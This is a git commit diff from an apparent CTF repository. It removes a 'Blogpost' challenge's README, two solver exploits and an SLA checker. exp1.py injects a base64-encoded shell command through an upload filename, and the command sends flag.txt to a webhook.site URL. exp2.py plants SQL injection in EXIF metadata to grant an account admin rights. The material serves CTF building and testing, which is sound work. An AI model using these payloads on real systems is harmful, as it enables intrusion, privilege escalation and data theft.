refractor blogpost and cdn chall
This commit is contained in:
1 parent
2d51b73a1e
commit
bb3f6e74aa
47 files changed
-544
No files matched your search
File renamed without changes.
@@ -1,15 +0,0 @@
|
||||
## Blogpost
|
||||
|
||||
db used: sqlite
|
||||
flag.txt: GEMASTIK{random sha256 generated on app start}
|
||||
|
||||
feature:
|
||||
[authentication required with login and register, register default as "user" role]
|
||||
1. search feature
|
||||
2. create, edit, visit post form that can upload images (png, jpg/jpeg, bmp) query the image metadata taken with exiftool to the sqlite database
|
||||
3. profile (if the account type is admin, render the content of flag.txt)
|
||||
|
||||
vuln1: Command injection on exiftool (payload: exp1.py)
|
||||
vuln2: SQLi on image metadata to enable altering user account into admin account (payload: sqli.png, exp2.py)
|
||||
|
||||
patching rules?:
|
||||
File renamed without changes.
File renamed without changes.
File renamed without changes.
Vendored
BIN
Binary file not shown.
File renamed without changes.
File renamed without changes.
@@ -1,63 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
import requests
|
||||
from pathlib import Path
|
||||
import random
|
||||
import string
|
||||
|
||||
HOST = "http://localhost:4413"
|
||||
REGISTER_URL = HOST + "/register"
|
||||
LOGIN_URL = HOST + "/login"
|
||||
CREATE_URL = HOST + "/create"
|
||||
HOME_URL = HOST + "/"
|
||||
PROFILE_URL = HOST + "/profile"
|
||||
|
||||
LOCAL_IMAGE = "test.png" # a valid image file on your machine
|
||||
# Generate random username and password
|
||||
def generate_random_string(length=8):
|
||||
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
|
||||
|
||||
USERNAME = generate_random_string()
|
||||
PASSWORD = generate_random_string()
|
||||
# choose payload variant: either use subshell $() or backticks `...`
|
||||
filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS8yNjcxZjg2Zi0xN2U4LTRiNDQtODFkYS00YWQ2ZDUyMTA0OWQnLCBkYXRhPW9wZW4oJ2ZsYWcudHh0JywgJ3JiJykucmVhZCgpKSI=' | base64 -d | bash;#.jpg"
|
||||
|
||||
# choose which to use:
|
||||
filename_payload = filename_payload # or payload_backticks
|
||||
|
||||
s = requests.Session()
|
||||
|
||||
r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD})
|
||||
if r.status_code != 200:
|
||||
print("Registration failed. Status:", r.status_code)
|
||||
# print("Response:", r.text[:400])
|
||||
exit(1)
|
||||
else:
|
||||
print(f"Registered user: {USERNAME}")
|
||||
|
||||
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
|
||||
if r.status_code != 200:
|
||||
print("Login request status:", r.status_code)
|
||||
print("Response:", r.text[:400])
|
||||
else:
|
||||
print("Login attempted. Cookies:", s.cookies.get_dict())
|
||||
|
||||
# 2) upload file with crafted filename in multipart
|
||||
img_path = Path(LOCAL_IMAGE)
|
||||
if not img_path.exists():
|
||||
raise SystemExit(f"Local image {LOCAL_IMAGE} not found")
|
||||
|
||||
with open(img_path, "rb") as fh:
|
||||
# requests allows sending a custom filename (first item in tuple)
|
||||
files = {
|
||||
"image": (filename_payload, fh, "image/jpeg")
|
||||
}
|
||||
data = {"title": "tes payload python3 base64 cat to curl", "content": "ctf"}
|
||||
r = s.post(CREATE_URL, data=data, files=files)
|
||||
print("Upload response:", r.status_code)
|
||||
# optionally print a bit of response to see if anything obvious happened
|
||||
print(r.text[:800])
|
||||
|
||||
# 3) fetch profile to see if you are admin and flag is shown
|
||||
r = s.get(PROFILE_URL)
|
||||
print("Profile status:", r.status_code)
|
||||
print(r.text[:1200])
|
||||
@@ -1,95 +0,0 @@
|
||||
import requests
|
||||
import random
|
||||
import string
|
||||
import re
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
|
||||
print("SQLi (VULN 2) Exploit")
|
||||
|
||||
HOST = "http://localhost:4413"
|
||||
REGISTER_URL = HOST + "/register"
|
||||
LOGIN_URL = HOST + "/login"
|
||||
CREATE_URL = HOST + "/create"
|
||||
HOME_URL = HOST + "/"
|
||||
PROFILE_URL = HOST + "/profile"
|
||||
|
||||
# Generate random username and password
|
||||
def generate_random_string(length=8):
|
||||
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
|
||||
|
||||
USERNAME = generate_random_string()
|
||||
PASSWORD = generate_random_string()
|
||||
LOCAL_IMAGE = "sqli.png" # Image to be modified with SQLi payload
|
||||
|
||||
# 1) Modify the image with exiftool to embed SQLi payload
|
||||
sqli_payload = f"a'; UPDATE users SET role='admin' WHERE username='{USERNAME}';--"
|
||||
try:
|
||||
subprocess.run([
|
||||
"exiftool",
|
||||
"-overwrite_original",
|
||||
f"-Comment={sqli_payload}",
|
||||
LOCAL_IMAGE
|
||||
], check=True)
|
||||
print(f"Modified {LOCAL_IMAGE} with SQLi payload in Comment metadata")
|
||||
except subprocess.CalledProcessError as e:
|
||||
print(f"Failed to modify image with exiftool: {e}")
|
||||
exit(1)
|
||||
|
||||
s = requests.Session()
|
||||
|
||||
# 2) Register a new user
|
||||
r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD})
|
||||
if r.status_code != 200:
|
||||
print("Registration failed. Status:", r.status_code)
|
||||
# print("Response:", r.text[:400])
|
||||
exit(1)
|
||||
else:
|
||||
print(f"Registered user: {USERNAME}")
|
||||
|
||||
# 3) Login with the new user
|
||||
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
|
||||
if r.status_code != 200:
|
||||
print("Login failed. Status:", r.status_code)
|
||||
# print("Response:", r.text[:400])
|
||||
exit(1)
|
||||
else:
|
||||
print("Logged in successfully. Cookies:", s.cookies.get_dict())
|
||||
|
||||
# 4) Upload the modified sqli.png image when creating a post
|
||||
img_path = Path(LOCAL_IMAGE)
|
||||
if not img_path.exists():
|
||||
raise SystemExit(f"Local image {LOCAL_IMAGE} not found")
|
||||
|
||||
with open(img_path, "rb") as fh:
|
||||
files = {
|
||||
"image": (LOCAL_IMAGE, fh, "image/png")
|
||||
}
|
||||
data = {"title": "SQLi Exploit", "content": "Testing SQLi payload"}
|
||||
r = s.post(CREATE_URL, data=data, files=files)
|
||||
print("Upload response status:", r.status_code)
|
||||
# print("Upload response:", r.text[:800])
|
||||
|
||||
# 5) Get the home page to find the newest post ID
|
||||
r = s.get(HOME_URL)
|
||||
print("Home page status:", r.status_code)
|
||||
|
||||
# Extract post IDs using regex
|
||||
post_ids = re.findall(r'/post/(\d+)', r.text)
|
||||
if post_ids:
|
||||
max_id = max(map(int, post_ids))
|
||||
print(f"Newest post ID: {max_id}")
|
||||
else:
|
||||
print("No post IDs found on home page.")
|
||||
exit(1)
|
||||
|
||||
# 6) Visit the profile page and search for the flag
|
||||
r = s.get(PROFILE_URL)
|
||||
print("Profile page status:", r.status_code)
|
||||
flag_pattern = r"GEMASTIK\{.*?\}"
|
||||
flag = re.search(flag_pattern, r.text)
|
||||
if flag:
|
||||
print("Flag found:", flag.group(0))
|
||||
else:
|
||||
print("Flag not found in response.")
|
||||
# print("Response snippet:", r.text[:1200])
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 1012 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 1012 KiB |
File renamed without changes.
File renamed without changes.
@@ -1,250 +0,0 @@
|
||||
import io
|
||||
import re
|
||||
import time
|
||||
import json
|
||||
import base64
|
||||
import random
|
||||
import string
|
||||
import logging
|
||||
import subprocess
|
||||
from typing import Optional
|
||||
|
||||
import requests
|
||||
from PIL import Image # pillow for tiny PNG generation
|
||||
|
||||
from .Challenge import Challenge
|
||||
|
||||
|
||||
class WebAppSLA(Challenge):
|
||||
"""
|
||||
SLA checker for the provided Flask challenge app.
|
||||
|
||||
Assumptions / Defaults (override as needed):
|
||||
- Service listens on self.port (inherited)
|
||||
- Container name is 'chal_app' (override via self.container_name)
|
||||
- Flag lives in '/app/flag.txt' inside container
|
||||
- Login flow at /login, register at /register
|
||||
- Create post at /create, view post at /post/<id>, uploads at /uploads/<file>
|
||||
"""
|
||||
flag_location = 'flags/webapp.txt' # Host copy (used by your orchestrator)
|
||||
history_location = 'history/webapp.txt'
|
||||
container_flag_path = '/app/flag.txt'
|
||||
container_name = 'chal_app' # <-- set to your actual container name
|
||||
|
||||
# Heuristics to recognize ExifTool output
|
||||
_exif_markers = (
|
||||
'ExifTool Version Number',
|
||||
'File Name',
|
||||
'File Size',
|
||||
'MIME Type',
|
||||
'File Type',
|
||||
)
|
||||
|
||||
def _make_logger(self):
|
||||
if not hasattr(self, 'logger') or self.logger is None:
|
||||
self.logger = logging.getLogger(self.__class__.__name__)
|
||||
if not self.logger.handlers:
|
||||
h = logging.StreamHandler()
|
||||
h.setFormatter(logging.Formatter('[%(levelname)s] %(message)s'))
|
||||
self.logger.addHandler(h)
|
||||
self.logger.setLevel(logging.INFO)
|
||||
|
||||
# --- Flag distribution hook (optional, mirrors your example) ---
|
||||
def distribute(self, flag: str) -> bool:
|
||||
"""
|
||||
Writes/records the current flag on the host. Your infra may separately
|
||||
mount/copy it into the container; this class *also* verifies existence
|
||||
inside the container during .check().
|
||||
"""
|
||||
self._make_logger()
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
self.logger.info(f"Flag '{flag}' written to {self.flag_location}")
|
||||
return True
|
||||
except Exception as e:
|
||||
self.logger.error(f"Failed writing host flag: {e}")
|
||||
return False
|
||||
|
||||
# --- Helpers ---
|
||||
def _gen_username(self) -> str:
|
||||
return "user_" + ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
|
||||
|
||||
def _gen_password(self) -> str:
|
||||
return "Pw!" + ''.join(random.choices(string.ascii_letters + string.digits, k=10))
|
||||
|
||||
def _tiny_png_bytes(self) -> bytes:
|
||||
"""
|
||||
Generate a minimal valid PNG in-memory to trigger exiftool.
|
||||
"""
|
||||
img = Image.new("RGB", (2, 2), (123, 200, 50))
|
||||
buf = io.BytesIO()
|
||||
img.save(buf, format="PNG")
|
||||
return buf.getvalue()
|
||||
|
||||
def _docker_exec(self, args: list[str], timeout: int = 10) -> subprocess.CompletedProcess:
|
||||
"""
|
||||
Run `docker exec` into the challenge container.
|
||||
"""
|
||||
return subprocess.run(
|
||||
["docker", "exec", self.container_name] + args,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=timeout
|
||||
)
|
||||
|
||||
# --- SLA core ---
|
||||
def check(self) -> bool:
|
||||
self._make_logger()
|
||||
base_url = f"http://localhost:{self.port}"
|
||||
s = requests.Session()
|
||||
|
||||
# 0) Liveness: login page should be reachable (no auth needed)
|
||||
login_url = base_url + "/login"
|
||||
self.logger.info(f"[1/7] Checking liveness at {login_url} ...")
|
||||
try:
|
||||
r = s.get(login_url, timeout=10)
|
||||
assert r.status_code == 200, f"Login page HTTP {r.status_code}"
|
||||
self.logger.info(" ✓ Login page reachable")
|
||||
except Exception as e:
|
||||
self.logger.error(f" ✗ Liveness check failed: {e}")
|
||||
return False
|
||||
|
||||
# 1) Register a fresh user
|
||||
self.logger.info("[2/7] Registering a fresh user ...")
|
||||
username = self._gen_username()
|
||||
password = self._gen_password()
|
||||
try:
|
||||
r = s.post(
|
||||
base_url + "/register",
|
||||
data={"username": username, "password": password},
|
||||
allow_redirects=False,
|
||||
timeout=10,
|
||||
)
|
||||
# Flask typically redirects to /login on success (302)
|
||||
assert r.status_code in (200, 302, 303), f"Register HTTP {r.status_code}"
|
||||
self.logger.info(f" ✓ Registered as {username}")
|
||||
except Exception as e:
|
||||
self.logger.error(f" ✗ Registration failed: {e}")
|
||||
return False
|
||||
|
||||
# 2) Log in
|
||||
self.logger.info("[3/7] Logging in ...")
|
||||
try:
|
||||
r = s.post(
|
||||
base_url + "/login",
|
||||
data={"username": username, "password": password},
|
||||
allow_redirects=True,
|
||||
timeout=10,
|
||||
)
|
||||
# Successful login should redirect or render index; ensure not bounced back to /login with "Invalid credentials"
|
||||
assert r.status_code == 200, f"Login HTTP {r.status_code}"
|
||||
assert "/login" not in r.url or "Invalid credentials" not in r.text
|
||||
self.logger.info(" ✓ Logged in")
|
||||
except Exception as e:
|
||||
self.logger.error(f" ✗ Login failed: {e}")
|
||||
return False
|
||||
|
||||
# 3) Create post with image upload (PNG) to trigger exiftool + DB write
|
||||
self.logger.info("[4/7] Creating a post with image upload ...")
|
||||
title = "SLA Post " + ''.join(random.choices(string.ascii_letters, k=6))
|
||||
content = "hello_from_sla_checker"
|
||||
png_bytes = self._tiny_png_bytes()
|
||||
files = {
|
||||
"image": ("probe.png", png_bytes, "image/png")
|
||||
}
|
||||
data = {"title": title, "content": content}
|
||||
try:
|
||||
r = s.post(base_url + "/create", files=files, data=data, allow_redirects=True, timeout=20)
|
||||
assert r.status_code == 200, f"Create returned HTTP {r.status_code}"
|
||||
self.logger.info(" ✓ Post created")
|
||||
except Exception as e:
|
||||
self.logger.error(f" ✗ Create post failed: {e}")
|
||||
return False
|
||||
|
||||
# 4) Discover the newly created post id by scraping links like /post/<id> from index
|
||||
self.logger.info("[5/7] Resolving new post id from index ...")
|
||||
try:
|
||||
r = s.get(base_url + "/", timeout=10)
|
||||
assert r.status_code == 200, f"Index HTTP {r.status_code}"
|
||||
# Find the most recent /post/<id> that likely corresponds to our post title
|
||||
# First try to find blocks containing our title then pull an id:
|
||||
post_id: Optional[int] = None
|
||||
# Prefer links sitting near our title
|
||||
title_blocks = [m.start() for m in re.finditer(re.escape(title), r.text)]
|
||||
if title_blocks:
|
||||
# Search backward/forward around the title occurrences for a /post/<num> link
|
||||
for pos in title_blocks:
|
||||
window = r.text[max(0, pos-1000):pos+1000]
|
||||
m = re.search(r'/post/(\d+)', window)
|
||||
if m:
|
||||
post_id = int(m.group(1))
|
||||
break
|
||||
# Fallback: pick the first /post/<id> in the page
|
||||
if post_id is None:
|
||||
m = re.search(r'/post/(\d+)', r.text)
|
||||
assert m, "No /post/<id> link found on index"
|
||||
post_id = int(m.group(1))
|
||||
|
||||
self.logger.info(f" ✓ Resolved post id = {post_id}")
|
||||
except Exception as e:
|
||||
self.logger.error(f" ✗ Could not resolve post id: {e}")
|
||||
return False
|
||||
|
||||
# 5) Visit the post page, confirm it renders and contains our title/content.
|
||||
self.logger.info("[6/7] Visiting the post page ...")
|
||||
try:
|
||||
vp = s.get(base_url + f"/post/{post_id}", timeout=10)
|
||||
assert vp.status_code == 200, f"Post page HTTP {vp.status_code}"
|
||||
assert title in vp.text, "Post title not present on view page"
|
||||
assert content in vp.text, "Post content not present on view page"
|
||||
self.logger.info(" ✓ Post page renders with our content")
|
||||
except Exception as e:
|
||||
self.logger.error(f" ✗ View post failed: {e}")
|
||||
return False
|
||||
|
||||
# 6) Locate the uploaded file link on the post page, then fetch the .meta file via /uploads/<file>.meta
|
||||
self.logger.info("[7/7] Verifying ExifTool metadata persisted & accessible ...")
|
||||
try:
|
||||
# Find something like /uploads/<sha256>.png (or .jpg/.jpeg/.bmp)
|
||||
m = re.search(r'/uploads/([A-Za-z0-9_.-]+\.(?:png|jpg|jpeg|bmp))', vp.text, flags=re.IGNORECASE)
|
||||
assert m, "No uploaded image link found on post page"
|
||||
image_name = m.group(1)
|
||||
# The server stores metadata in a sibling file with .meta suffix; it is served by the same /uploads route.
|
||||
meta_url = base_url + f"/uploads/{image_name}.meta"
|
||||
mr = s.get(meta_url, timeout=10)
|
||||
assert mr.status_code == 200, f"Meta file HTTP {mr.status_code}"
|
||||
meta_text = mr.text.strip()
|
||||
# Heuristic: expect at least one ExifTool-like marker
|
||||
assert any(tag in meta_text for tag in self._exif_markers), "Meta file does not look like ExifTool output"
|
||||
self.logger.info(" ✓ Exif metadata present and readable")
|
||||
except Exception as e:
|
||||
self.logger.error(f" ✗ Metadata verification failed: {e}")
|
||||
return False
|
||||
|
||||
# 7) Flag existence in container (do not fail SLA if only host copy exists but container is missing—treat as warning or policy-driven)
|
||||
try:
|
||||
proc = self._docker_exec(["/bin/sh", "-lc", f"test -f {self.container_flag_path} && cat {self.container_flag_path} || echo __MISSING__"])
|
||||
out = (proc.stdout or "").strip()
|
||||
if "__MISSING__" in out or proc.returncode not in (0,):
|
||||
self.logger.warning("⚠ Flag file missing inside container")
|
||||
else:
|
||||
self.logger.info(" ✓ Container flag present")
|
||||
# Optional: compare with host flag if present
|
||||
try:
|
||||
with open(self.flag_location, "r") as f:
|
||||
host_flag = f.read().strip()
|
||||
if host_flag and host_flag == out:
|
||||
self.logger.info(" ✓ Host and container flags match")
|
||||
else:
|
||||
self.logger.warning("⚠ Host/container flag mismatch (may be expected if rotated separately)")
|
||||
except FileNotFoundError:
|
||||
self.logger.warning("⚠ Host flag not found; skipping comparison")
|
||||
except Exception as e:
|
||||
# Non-fatal: you can tune this to fail the round if flag is mandatory.
|
||||
self.logger.warning(f"Flag existence check encountered an issue: {e}")
|
||||
|
||||
self.logger.info("SLA check passed ✅")
|
||||
return True
|
||||
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
Reference in new issue
Block a user